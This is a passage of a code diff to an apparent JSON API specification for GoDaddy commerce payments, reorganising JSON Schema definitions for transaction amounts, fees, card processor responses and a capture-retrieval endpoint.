"type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "amount", - "createdAt" - ] + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } + }, + "required": [ + "total", + "currency" ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "readOnly": true, - "description": "Authorizations for the payment" + "propertyName": "processorType" }, - "adjustments": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "description": "Transaction status" + "title": "Address Verification Status", + "type": "string" }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - ], + }, + "title": "AVS Results", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "processorResponse": { + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] + "type": "string" }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "amount", - "createdAt" - ] + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + } + }, + "scopes": [] + }, + { + "operationId": "getCaptureById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionId}", + "summary": "Get Capture", + "description": "Retrieve the information of the capture by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Capture Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } + }, + "required": [ + "amount", + "currency" ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "required": [ - "amount", - "currency" - ] + "propertyName": "feeType" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - 